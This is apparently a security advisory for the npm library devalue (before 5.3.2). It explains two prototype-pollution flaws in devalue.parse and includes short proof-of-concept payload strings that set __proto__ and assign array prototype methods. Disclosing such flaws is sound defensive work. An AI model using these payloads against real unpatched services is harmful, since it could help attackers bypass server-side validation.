Svelte devalue is a utility library. Prior to version 5.3.2, a string passed to devalue.parse could represent an object with a __proto__ property and devalue.parse does not check that an index is numeric. This could result in assigning prototypes to objects and properties, leading to prototype pollution. This issue has been fixed in version 5.3.2

Affected: npm: devalue

## 1. `devalue.parse` allows `__proto__` to be set

A string passed to `devalue.parse` could represent an object with a `__proto__` property, which would assign a prototype to an object while allowing properties to be overwritten:

```js class Vector { constructor(x, y) { this.x = x; this.y = y; }

get magnitude() { return (this.x ** 2 + this.y ** 2) ** 0.5; } }

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, { Vector: ([x, y]) => new Vector(x, y) });

console.log("Is vector", vector instanceof Vector); // true console.log(vector.x) // 3 console.log(vector.y) // 4 console.log(vector.magnitude); // "nope" instead of 5 ```

## 2. `devalue.parse` allows array prototype methods to be assigned to object

In a payload constructed with `devalue.stringify`, values are represented as array indices, where the array contains the 'hydrated' values:

```js devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"] ```

`devalue.parse` does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

```js const object = devalue.parse('[{"toString":"push"}]'); object.toString(); // 0 ```

This could be used by a creative attacker to bypass server-side validation.